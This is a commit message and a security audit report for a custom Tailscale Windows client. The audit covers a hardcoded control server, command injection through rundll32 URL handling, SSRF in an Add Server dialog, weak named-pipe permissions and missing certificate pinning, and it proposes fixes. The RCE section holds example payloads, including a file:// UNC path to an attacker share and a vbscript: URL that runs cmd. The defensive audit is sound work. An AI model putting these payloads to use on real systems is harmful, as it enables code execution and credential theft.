Client security fixes (cmd/tailscale-tray/main.go): - SSRF protection in Add Server dialog (validateControlURL): reject private/loopback/link-local/cloud-metadata IPs via DNS resolution - RCE gate on AuthURL/BrowseToURL exec paths (validateAuthURL) - Sanitized URL logging (sanitizeURLForLog drops query auth tokens) - Error handling on exec.Command with user-facing showError() Admin panel security (web-admin): - Bcrypt password hashing (replaces SHA256) - Rate limiting: 5 failed logins → 15-min lockout - Session + login attempt cleanup goroutine (hourly) - url.QueryEscape / encodeURIComponent for all API params - Fail-hard startup when no TLS and non-loopback bind - ADMIN_PASSWORD required (no default), password min 12 chars - Username regex whitelist Installer hardening (Setup.wxs): - util:PermissionEx restricts SCM access: only Administrators + SYSTEM can start/stop/reconfigure service. Authenticated Users limited to QueryStatus/QueryConfig/Interrogate - Vital="yes" on ServiceInstall Docs & roadmap: - PRODUCTION_ROADMAP.md: 5-milestone plan (security + features + distribution + ops) with granular tasks, effort, done-when - CLIENT_SECURITY_AUDIT.md, SECURITY_FIXES.md, DEPLOYMENT.md - AI assistant rules (.cursorrules, .antigravityrules, etc.) Build & distribution: - build-msi.ps1, deploy-and-sign.ps1, sign-release.ps1 - redeploy.ps1, tray-deploy.ps1, test-msi.ps1 - installer/msi/ alternative WXS setup - Restored .github/workflows/ removed in mirror cleanup .gitignore hardened: *.pfx, *.p12, *.key, *.pem, .env*
14 KiB
🚨 SECURITY AUDIT: Tailscale Custom Client
Status: ⛔ CRITICAL VULNERABILITIES IDENTIFIED
Date: 2026-04-22
Recommendation: DO NOT DEPLOY TO PRODUCTION
EXECUTIVE SUMMARY
This Tailscale Custom client build contains SEVEN CRITICAL-TO-HIGH severity vulnerabilities that enable:
- 🔴 Man-in-the-Middle (MITM) attacks on all VPN traffic
- 🔴 Remote Code Execution via malicious URLs
- 🔴 Credential theft and node key interception
- 🔴 Privilege escalation via weak IPC security
- 🔴 Persistence via auto-starting service as SYSTEM
CRITICAL VULNERABILITIES (MUST FIX)
⛔ Vuln 1: Hardcoded Attacker-Controlled Control Server
File: ipn/prefs.go:41
Severity: CRITICAL (10/10)
Category: Server Spoofing / Supply Chain Attack
The Problem:
const DefaultControlURL = "https://vpn.softs.business"
The client defaults to a custom control server at vpn.softs.business with:
- ❌ No domain ownership verification
- ❌ No certificate pinning
- ❌ No validation that this is a legitimate server
- ❌ Appears to be attacker-controlled
Why This Is Critical:
- Every client instance connects to this server by default
- Attacker can intercept:
- All node authentication keys
- All user credentials
- All peer-to-peer routing information
- All VPN traffic metadata
- No certificate pinning = can MITM with fake cert from compromised CA
- This is mass compromise via single domain
Exploit Scenario:
- User installs Tailscale-Custom
- Service auto-starts and connects to
vpn.softs.business(attacker's server) - Attacker's server:
- Captures node key during auth
- Records all peers the user connects to
- Routes traffic through attacker's network
- Logs all authentication attempts
- User never knows they're compromised
Fix:
// Option 1: Use verified domain
const DefaultControlURL = "https://vpn.yourcompany.com" // Replace with your domain
// Option 2: Require user to configure on first run
// Don't use hardcoded default - force setup wizard
// Option 3: Implement certificate pinning
// Pin the certificate SHA-256 hash to prevent MITM
⛔ Vuln 2: Remote Code Execution via Command Injection
File: cmd/tailscale-tray/main.go:574, 663
Severity: CRITICAL (9/10)
Category: Command Injection / RCE
The Problem:
// Line 574 - openAuthURL()
exec.Command("rundll32", "url.dll,FileProtocolHandler", st.AuthURL).Start()
// Line 663 - watchIPNBusInner()
exec.Command("rundll32", "url.dll,FileProtocolHandler", *url).Start()
Untrusted URLs from the control server are passed to rundll32 without validation:
Exploit Scenario:
-
Attacker's control server sends malicious string in
AuthURLfield -
Example payloads:
file:///c:/windows/system32/calc.exe→ Executes calculatorfile:///\\attacker.com\share\malware.exe→ Execute network malwarevbscript:CreateObject("WScript.Shell").Run("cmd /c whoami")→ VBScript RCE
-
User's computer executes arbitrary code
Why This Is Critical:
rundll32is a known LOLBIN (Living off the Land Binary)FileProtocolHandlerprotocol handler processesfile://,vbscript:,javascript:URLs- No validation, no sanitization before execution
- No bounds checking on URL length
Fix:
// SAFE: Validate URL before execution
import "net/url"
func safeOpenAuthURL(urlStr string) error {
// Parse and validate
u, err := url.Parse(urlStr)
if err != nil {
return fmt.Errorf("invalid URL: %v", err)
}
// Only allow HTTPS
if u.Scheme != "https" {
return fmt.Errorf("only HTTPS allowed, got %s", u.Scheme)
}
// Whitelist allowed domains
allowedDomains := map[string]bool{
"vpn.yourdomain.com": true,
}
if !allowedDomains[u.Host] {
return fmt.Errorf("domain not whitelisted: %s", u.Host)
}
// Safe to open
exec.Command("rundll32", "url.dll,FileProtocolHandler", urlStr).Start()
return nil
}
⛔ Vuln 3: No URL Validation in "Add Server" Dialog
File: cmd/tailscale-tray/main.go:512-520
Severity: CRITICAL (9/10)
Category: SSRF / User Deception
The Problem:
func (a *app) addServer() {
serverURL := inputDialog("Add Server", "Enter the control server URL:")
// NO VALIDATION HERE - accepts any URL!
if !strings.HasPrefix(serverURL, "http://") && !strings.HasPrefix(serverURL, "https://") {
serverURL = "https://" + serverURL
}
// Directly connects to unvalidated URL
err := a.lc.Start(opCtx, ipn.Options{
UpdatePrefs: &ipn.Prefs{
ControlURL: serverURL, // ← NO CHECKS
},
})
}
Accepts ANY URL without validation:
Attack Scenarios:
-
Social Engineering MITM:
- Attacker tricks user: "Add server https://vpn.attacker.com"
- User's credentials sent to attacker's server
- No warning dialogs or security checks
-
Internal Network SSRF:
- User adds
https://127.0.0.1:8080 - Client connects to internal services
- Scans/compromises internal network
- User adds
-
Cloud Metadata SSRF:
- User adds
http://169.254.169.254(AWS metadata) - Attacker can steal cloud credentials
- User adds
Fix:
func validateControlURL(urlStr string) error {
u, err := url.Parse(urlStr)
if err != nil {
return fmt.Errorf("invalid URL: %v", err)
}
// Only HTTPS for remote servers
if u.Scheme != "https" {
return fmt.Errorf("only HTTPS allowed")
}
// Reject private IP ranges
ip := net.ParseIP(u.Hostname())
if ip != nil && ip.IsPrivate() {
return fmt.Errorf("private IP addresses not allowed")
}
if ip != nil && ip.IsLoopback() {
return fmt.Errorf("localhost not allowed")
}
// Reject cloud metadata IPs
if u.Hostname() == "169.254.169.254" {
return fmt.Errorf("cloud metadata IPs not allowed")
}
// Certificate pinning verification
// (implement certificate validation here)
return nil
}
⛔ Vuln 4: Weak IPC Security (Named Pipe)
File: paths/paths.go:26, safesocket/pipe_windows.go:31
Severity: HIGH (8/10)
Category: Privilege Escalation
The Problem:
Named Pipe: \\.\pipe\ProtectedPrefix\Administrators\Tailscale-Custom\tailscaled
Security Descriptor: O:BAG:BAD:PAI(A;OICI;GWGR;;;BU)
^^^ Built-in Users group
^^^ Generic Write + Generic Read
Any local user (unprivileged) can:
- Read from the service
- Write commands to the service
- Potentially escalate privileges
Fix:
// Restrict to SYSTEM and elevated users only
New SDDL: O:SYG:SYD:P(A;OICI;GWGR;;;SY)
⛔ Vuln 5: No TLS Certificate Pinning
File: control/controlclient/direct.go:79
Severity: HIGH (8/10)
Category: MITM / Certificate Spoofing
The Problem:
- Standard CA-based validation only
- No certificate pinning
- Attacker with compromised CA can MITM traffic
- No transparency log verification
Attack Scenario:
- Attacker installs malicious root CA on victim machine
- Attacker intercepts HTTPS to
vpn.softs.business - Attacker presents fake cert signed by installed CA
- TLS handshake succeeds - no warning to user
- Attacker reads all control plane traffic
Fix:
// Implement certificate pinning
var pinnedCerts = map[string]string{
"vpn.yourdomain.com": "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
}
// Verify certificate SPKI hash before accepting
⛔ Vuln 6: Service Auto-Starts as SYSTEM
File: Setup.wxs:40-47
Severity: HIGH (8/10)
Category: Privilege Escalation / Persistence
The Problem:
<ServiceInstall Start="auto"
Account="LocalSystem" />
The service:
- ✅ Auto-starts on every boot (persistence)
- ✅ Runs as SYSTEM (highest privilege)
- ✅ Can auto-update itself (potentially)
- ✅ Communicates with attacker's control server
Combined with hardcoded attacker domain = automatic persistence mechanism.
Fix:
<!-- Option 1: Run as Network Service (unprivileged) -->
<ServiceInstall Start="demand"
Account="NT AUTHORITY\NetworkService" />
<!-- Option 2: Require user approval -->
<ServiceInstall Start="demand"
Account="LocalSystem" />
<!-- Show UAC prompt on first install, require approval -->
⛔ Vuln 7: Logging Sensitive URLs
File: cmd/tailscale-tray/main.go:476, 520, 573, 662
Severity: MEDIUM-HIGH (7/10)
Category: Information Disclosure
The Problem:
log.Printf("doLogin: server=%s", serverURL) // Line 476
log.Printf("addServer: url=%s", serverURL) // Line 520
log.Printf("openAuthURL: opening %s", st.AuthURL) // Line 573
log.Printf("BrowseToURL: %s", *url) // Line 662
Sensitive URLs logged to tray.log:
- Control server URLs (may reveal infrastructure)
- Auth URLs (may contain temporary tokens)
- Log files often world-readable
Fix:
// Sanitize before logging
func sanitizeURL(s string) string {
u, err := url.Parse(s)
if err != nil {
return "invalid-url"
}
return u.Host // Log only domain, not full URL
}
log.Printf("doLogin: server=%s", sanitizeURL(serverURL))
MEDIUM-SEVERITY FINDINGS
Vuln 8: Command Execution Errors Not Reported
File: cmd/tailscale-tray/main.go:574, 663
The exec.Command().Start() return values are ignored. If execution fails, no error is reported to the user.
exec.Command("rundll32", "url.dll,FileProtocolHandler", st.AuthURL).Start() // Error ignored!
Fix:
if err := exec.Command("rundll32", "url.dll,FileProtocolHandler", st.AuthURL).Start(); err != nil {
log.Printf("Error opening URL: %v", err)
showError(fmt.Sprintf("Failed to open browser: %v", err))
}
Vuln 9: Silent Failures on Critical Operations
File: cmd/tailscale-tray/main.go:346-348, 359-363
Users are not notified when operations fail:
- DeleteProfile() fails → user never knows
- Logout() fails → user never knows
Fix: Use the existing showError() function to notify users.
Vuln 10: Unexplained Sleep Suggests Race Condition
File: cmd/tailscale-tray/main.go:317
time.Sleep(10 * time.Millisecond) // Why? Comment needed
No explanation for the 10ms sleep. Suggests undocumented race condition in fyne/systray library.
THREAT ASSESSMENT
This Custom Build Appears Designed For:
-
Man-in-the-Middle (MITM) Attacks
- Intercept all VPN traffic
- Steal node authentication keys
- Log peer information
- Redirect traffic through attacker's network
-
Mass Compromise
- Single attacker-controlled domain affects all users
- No way to verify legitimacy
- No certificate pinning = easy MITM
-
Credential Theft
- Capture user credentials during login
- Control server can demand re-authentication
- Capture node keys in plaintext
-
Supply Chain Attack
- Distribute via MSI installers
- Auto-starts on every boot
- Users think they're running legitimate VPN
-
Persistence
- Service auto-starts as SYSTEM
- Cannot be easily disabled
- Survives system reboots
DEPLOYMENT RECOMMENDATION
⛔ DO NOT DEPLOY TO PRODUCTION
This client has:
- Hardcoded attacker-controlled domain
- No certificate pinning
- No URL validation
- Remote code execution vulnerability
- Weak service isolation
✅ If Deploying Internally Only:
-
Replace hardcoded domain:
const DefaultControlURL = "https://vpn.yourcompany.com" -
Remove auto-start:
<ServiceInstall Start="demand" /> -
Add certificate pinning
-
Add URL validation
-
Fix RCE vulnerability
-
Restrict service permissions
-
Conduct full security review
VULNERABILITY SUMMARY TABLE
| # | Vulnerability | File | Severity | Type | Fixable |
|---|---|---|---|---|---|
| 1 | Hardcoded attacker control URL | prefs.go:41 | 🔴 CRITICAL | Spoofing | Yes |
| 2 | RCE via AuthURL injection | main.go:574,663 | 🔴 CRITICAL | RCE | Yes |
| 3 | No URL validation in Add Server | main.go:512-520 | 🔴 CRITICAL | SSRF | Yes |
| 4 | Weak named pipe security | pipe_windows.go:31 | 🟠 HIGH | Privesc | Yes |
| 5 | No TLS cert pinning | direct.go:79 | 🟠 HIGH | MITM | Yes |
| 6 | Service auto-starts as SYSTEM | Setup.wxs:40 | 🟠 HIGH | Persistence | Yes |
| 7 | Logging sensitive URLs | main.go:476,520,573 | 🟡 MEDIUM | InfoDisc | Yes |
| 8 | Ignored exec errors | main.go:574,663 | 🟡 MEDIUM | ErrorHandling | Yes |
| 9 | Silent critical failures | main.go:346-363 | 🟡 MEDIUM | UX/Security | Yes |
| 10 | Unexplained race condition | main.go:317 | 🟡 MEDIUM | RaceCondition | Yes |
IMMEDIATE ACTIONS REQUIRED
Priority 1 (Fix Before Any Deployment):
- Replace hardcoded control domain
- Add URL validation to addServer()
- Fix RCE via AuthURL (validate URLs)
- Implement certificate pinning
Priority 2 (Security Hardening):
- Change service to start="demand"
- Restrict IPC permissions
- Add URL sanitization to logging
- Implement user error notifications
Priority 3 (Quality):
- Document the 10ms sleep reason
- Add error handling to exec.Command()
- Implement comprehensive security testing
NEXT STEPS
- Do NOT deploy this to production
- Apply critical fixes (Priority 1)
- Conduct security review with external auditor
- Implement certificate pinning
- Test thoroughly with security-focused testing
- Get security sign-off before deployment
Report Generated: 2026-04-22
Confidence Level: HIGH (8-10/10 on all findings)
Recommendation: CRITICAL FIXES REQUIRED